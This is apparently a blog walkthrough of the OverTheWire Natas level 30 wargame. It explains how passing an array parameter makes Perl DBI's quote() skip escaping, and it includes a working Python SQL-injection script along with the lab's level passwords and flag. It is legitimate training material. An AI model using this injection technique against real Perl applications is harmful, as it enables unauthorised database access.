OverTheWire Natas Level 30 Walkthrough

This next level of Natas is also written in Perl. I surprised myself with how quickly I solved this challenge (based on a proof of concept I found) but went back to better explain it to myself.

That explanation, along with the solution, is covered in this post.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 30 flag found in level 29 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 30 ➔ 31

Level 30 is a Perl challenge with a login page (use username natas30 and password wie9iexae0Daihohv8vuu3cei9wahf0e from the last level to access the page):

We’re given source code:

Summarized, this Perl code checks to see if the request method is “POST” and if the request includes a username and password. If so, a database connection is made. A query is formed using $dbh->quote(param()), then executed. If there’s a result, it’s printed, otherwise, we see fail :(

The obvious angle here is SQL injection. If we try ' OR 1=1 --  (or other usual suspects), it doesn’t work. We’ll need to find another flaw

SQL injection

Since $dbh->quote(param()) is what interprets our input and adds it into the query, I thought I should look at it first. If there’s a vulnerability here, then that’s all we need to inject a malicious string into the SQL query.

I searched for “perl sql injection” and found this result as one of the top responses. This answer covers the issue pretty succinctly, so I’ll include it here.

In our source code, it expects a username and password, but there’s no limit on only one username and one password being provided. We could potentially supply multiple values, which would result in one of the params being an array type.

Secondly, if quote() is called with a list of values, and the second value is an integer, you can make quote() return an unquoted value. In other words, providing an array will result in the second definition of quote() to be called instead of the intended, first one.

$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);

Using the example code provided in that Stack Overflow link, I wrote the following script:

import requests
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e')

u="http://natas30.natas.labs.overthewire.org/index.pl"

params={"username": "natas28", "password": ["'lol' or 1", 4]}
response = requests.post(u, data=params, auth=basicAuth, verify=False)

print(response.text)

This worked right away:

But the linked DBI docs, nor O’Reilly, explicitly defined why a second parameter of 4 resulted in an unquoted value.

After some digging, I found a source for the definition of SQL_INTEGER as the value 4:

There isn’t anything particularly special about 4, though, we can use 2, 3, 5, and so on with the same result.

The reason is that:

Values known to be numeric will be unquoted.

By providing a second value of 4, we’re using this definition of quote():

$dbh->quote($value, $data_type);

In doing so, we’re telling the program that the $data_type (4) of the provided $value (SQL injection) is numeric, so don’t escape quotes. It seems like a silly feature, but probably exists when you don’t know the datatype ahead of time, and have to provide it programmatically.

Natas Level 30 Solution

To get the flag, run this script:

import requests
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e')

u="http://natas30.natas.labs.overthewire.org/index.pl"

params={"username": "natas28", "password": ["'whatever' or 1", 4]}
response = requests.post(u, data=params, auth=basicAuth, verify=False)

print(response.text)

The output includes the natas31 flag, hay7aecuungiuKaezuathuk9biin0pu1.

Takeaway: read documentation for the functions included in a challenge, and also search for people who already know (and have shared) weird "gotchas".